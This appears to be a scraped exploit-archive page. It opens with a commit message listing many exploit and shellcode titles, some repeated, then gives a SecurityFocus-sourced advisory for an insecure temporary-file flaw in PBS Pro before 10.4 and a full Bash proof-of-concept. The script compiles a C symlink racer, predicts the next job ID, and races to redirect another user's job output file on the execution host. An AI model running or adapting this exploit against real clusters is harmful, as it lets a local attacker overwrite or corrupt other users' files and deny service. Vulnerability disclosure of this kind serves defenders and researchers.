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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
51 lines
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2.1 KiB
Bash
Executable file
51 lines
No EOL
2.1 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/41449/info
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Altair Engineering PBS Pro creates temporary files in an insecure manner.
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An attacker with local access could potentially exploit this issue to perform symbolic-link attacks, overwriting arbitrary files in the context of the affected application.
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Successfully mounting a symlink attack may allow the attacker to delete or corrupt sensitive files, which may result in a denial of service. Other attacks may also be possible.
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Versions prior to PBS Pro 10.4 are vulnerable.
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#!/bin/bash
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#set -x
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# PBS Pro < 10.4 o+w race condition vulnerability Proof Of Concept by Bartlomiej Balcerek - bartol@pwr.wroc.pl
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# Must be run on submitting host and will create /tmp/pbs_test_by_bartol file on exec host as a next job owner UID
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echo Compiling racer...
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cat << EOF | gcc -x c -o racer.x -
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//repeatedly tries to create arbitrary choosen link
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#include <unistd.h>
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int main(int argc, char* argv[])
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{
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if (argc < 3) {printf("%s","Need 2 arguments!");exit(1);}
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while (1) symlink(argv[1],argv[2]);
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};
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EOF
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if [ ! -x racer.x ]; then echo "Cannot compile C code, do you have gcc installed ?" ;exit 1; fi
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echo Submitting job...
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jobname=`echo hostname | qsub -j oe -o out.txt`
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sleep 2
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host=`cat out.txt`
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if [ -z $host ]; then echo "Cannot determine next execution host, is quere working ?"; exit 1;fi
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rm out.txt
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echo Next job will be run on $host
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echo Copying racer to $host...
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scp ./racer.x $host:/tmp
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echo Calculating job id...
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jobid=`echo $jobname | cut -d . -f 1`
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jobid=$(($jobid+1))
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if [ ! $jobid -ge 0 ]; then echo "Cannot determine next job ID!";exit 1;fi
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echo Next job ID will be $jobid
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hostname=`echo $jobname | cut -d . -f 2`
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echo Running racer...submit job as different user, than push Ctrl+C after while.
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ssh $host -- \(/tmp/racer.x /tmp/pbs_test_by_bartol /var/spool/pbs/spool/${jobid}.${hostname}.OU \)
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ssh $host -- killall racer.x
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echo /var/spool/pbs/spool on $host content:
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ssh $host -- ls -latr /var/spool/pbs/spool
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echo Cleaning up...
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ssh $host -- unlink /var/spool/pbs/spool/${jobid}.${hostname}.OU
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ssh $host -- ls -latr /var/spool/pbs/spool
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ssh $host -- rm -v /tmp/racer.x
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rm -v racer.x |